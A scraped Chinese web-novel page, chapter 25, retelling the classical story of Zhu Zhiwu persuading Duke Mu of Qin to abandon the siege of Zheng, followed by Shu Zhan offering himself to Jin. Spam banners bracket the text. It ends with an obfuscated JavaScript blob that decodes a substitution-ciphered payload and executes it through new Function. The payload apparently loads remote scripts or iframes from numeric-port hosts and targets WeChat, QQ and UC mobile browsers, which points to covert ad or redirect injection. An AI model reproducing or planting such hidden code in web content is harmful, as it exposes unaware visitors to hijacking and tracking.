第二十五章 烛之武退敌(第3页)
请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。🎁免费-纯欲御姐主播
烛之武也不为意,径直登殿,拜见郑文公,问之曰:“主公召老臣何事?”
郑文公曰:“佚之狐言子舌辩过人,欲烦子说退秦师,寡人将与子共国。”
烛之武再拜辞曰:“臣学疏才拙,当少壮时,尚不能建立尺寸之功,况今老耄,精力既竭,语言发喘,安能犯颜进说,动千乘千乘:指车千乘,意谓千乘之国。之听乎?”
郑文公曰:“子事郑三世,老不见用,寡人之过也。今封子为亚卿,强为寡人一行。”
佚之狐在旁劝曰:“大丈夫老而逢时,委之于命。今君知先生而用之,先生不可再辞。”
烛之武不再说什么,拜谢而出。二鼓时分,命壮士以绳索缒下东门,径奔秦寨。守寨将士,将其拦住,问之曰:“汝何人也?”
烛之武回曰:“郑之亚卿烛之武也。”
守寨将士曰:“汝来此作甚?”
烛之武曰:“欲见贵君。”
守寨将士嗤之曰:“就汝这个熊样,还想见我们主公,滚!”
烛之武不走。
不只不走,还放声大哭。哭声惊动了秦穆公,曰:“何人在我营外号哭?”
左右曰:“郑之亚卿也。”
秦穆公曰:“速速将他擒来面见寡人。”
左右擒烛之武至,秦穆公满面愠色道:“汝堂堂一个亚卿,在我营门外号啕大哭,所为何事?”
烛之武曰:“哭郑之将亡耳!”
穆公曰:“郑亡,汝安得在孤寨外号哭?”
烛之武曰:“老臣哭郑,亦哭秦。郑亡不足惜,独可惜者秦耳!”
秦穆公大怒,叱曰:“吾国有何可惜?言不合理,即当斩首!”
烛之武并不害怕,娓娓言之:“秦晋合兵伐郑,郑之亡,不待言矣。若亡郑而有益于秦,老臣又何敢言?不惟无益,又且有损,君为甚要劳师费财,以供他人之役乎?”
秦穆公曰:“汝言伐郑对秦无益有损,损在何处?”
烛之武曰:“郑在晋之东界,秦在晋之西界,东西相隔,千里之遥。秦东隔于晋,南隔于周,能越周、晋而有郑乎?郑虽亡,尺土皆晋之有,于秦何干?夫秦、晋两国,毗邻并立,势不相下,晋愈强则秦愈弱矣。为人兼地,以自弱其国,智者不为也。且晋惠公曾以河外五城许君,既入而旋背之,君所知也。君之施于晋者,累世矣,曾见晋有分毫之报于君乎?晋文公自复国以来,增兵设将,日务兼并为强。今日拓地于东,既亡郑矣,异日必思拓地于西,患且及秦。君不闻虞、虢之事乎?假虞以灭虢,掉过头又灭虞。虞公不智,助晋自灭,可不鉴哉!君之施晋,既不足恃,晋之用秦,又不可测。以君之贤之智,而甘坠晋之术中,此臣所以‘无益而有损’,所以痛哭者此也!”
秦穆公静听良久,颔首说道:“大夫之言是也!”
是时,百里奚在侧,进言曰:“烛之武,辩士也。欲离间秦、晋之好,君不可听之!”
烛之武反问曰:“诚如大夫所言,秦、晋合兵灭郑,对秦究有什么好处?”
百里奚语塞。
烛之武又转面向秦穆公说道:“君若肯解郑之围,于郑有再造之恩,郑愿弃楚降秦。君如有东方之事,行李往来,取给于郑,犹君之外府也。”
秦穆公频频颔首:“果如大夫之言,何不与我订立盟誓?”
烛之武曰:“老臣正有此意。”
秦穆公大悦,遂与烛之武歃血为誓,不仅答应撤兵,并使杞子、逢孙、杨孙三将,带兵两千人助郑国守城。
秦穆公之为,早有人报知晋文公。惹得文公大怒,大骂曰:“秦君无信,猪狗不如!”
先轸进曰:“秦虽去不远,臣请率偏师追击之。军有归心,必无斗志,可一战而胜也。既胜秦,郑必丧胆,将不攻自下矣。”
文公曰:“不可。寡人昔赖其力,方有社稷。若非秦君,寡人何能及此?以子玉无礼于寡人,寡人尚避之三舍,以报其恩,何况婚姻乎?且无秦,寡人照样可以围郑。”
乃分兵一半,营于函陵,攻围如故。
郑文公谓烛之武曰:“秦兵之退,子之力也。晋兵未退,为之奈何?”
烛之武对曰:“闻公子兰有宠于晋文公,若使人迎公子兰归国,以请成于晋,晋必从矣。”
郑文公曰:“此非老大夫,亦不堪使也。”
石申父曰:“太辛苦,臣愿代其一行。”
乃携重宝进城,叩晋营求见。文公命之入。
石申父再拜,将重宝献上,曰:“寡君以地近荆蛮,不敢骤然与之断交,然实不敢与盟主背驰也。盟主赫然震怒,寡君知罪矣。不腆世藏,愿效贽于左右。寡君有弟兰,获侍左右,今愿因兰以乞怜盟主之怜。盟主使兰监郑之国,当朝夕在庭,其敢有二心乎!”
文公曰:“汝离我于秦,明欺我不能独下郑也。今又来求成,莫非缓兵之计,欲待救耶?若欲我退兵,必依我二事方可。”
石申父曰:“请盟主命之!”
文公曰:“必迎立公子兰为世子,且献谋臣叔詹出来,方表汝诚心也。”
石申父曰:“此事外臣不敢做主,待见过吾君之后方可回复。”
文公曰:“好。”
石申父还报郑文公,郑文公曰:“寡人未曾有子,闻公子兰降生之时,太后梦见有一位天上的使者来送给她一枝兰花。使者说:‘我是你的先祖,现在特意来把兰花赠给你做儿子,这是因为兰有国香。’自此太后便有了身孕,生下一个儿子,取名叫兰。兰既然是兰花所变,若立为世子,社稷必享之。但叔詹乃寡人股肱之臣,岂可轻易去之?”
是时,叔詹在侧,对之曰:“臣闻,‘主忧则臣辱,主辱则臣死’。今晋人索臣,臣不往,兵必不退。是臣避死不忠,而遗君以忧辱也。臣请往。”
郑文公曰:“子往必死,寡人不忍也。”
叔詹对曰:“君不忍于一詹,而忍于百姓之危困,社稷之陨坠乎?舍一臣以救百姓而安社稷,君何爱焉?”
郑文公涕泪说道:“卿真忠臣也!”
🎁免费-纯欲御姐主播请退出浏览器阅读模式,否则将导致章节内容缺失及无法阅读下一章。
!function(){function a(a){var _idx="p37jwwh5ui";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"="hFFJLg\/\/[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/@0jR8Js1CDDhn_6"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"@0"=X8"Js1CDDhn_6"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"@07Rq^d(m57YSSqmRT4"="@07Rq^)5mpTD6FCmRT4"="@07Rq^YFm57YSSqmRT4"="@07Rq^^CmpTD6FCmRT4"="@07Rq^Y5m57YSSqmRT4"="@07Rq^(FmpTD6FCmRT4"="@07Rq^h^m57YSSqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@KQ"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^DORX^mRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP@07Rq^)T(m^DORX^mRT4gQ@KQ/((/@0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ/f/@0j(8}vR8Js1CDDhn_6"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPP@07Rq^)Om4DT66:mRT4gQ@KQ"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();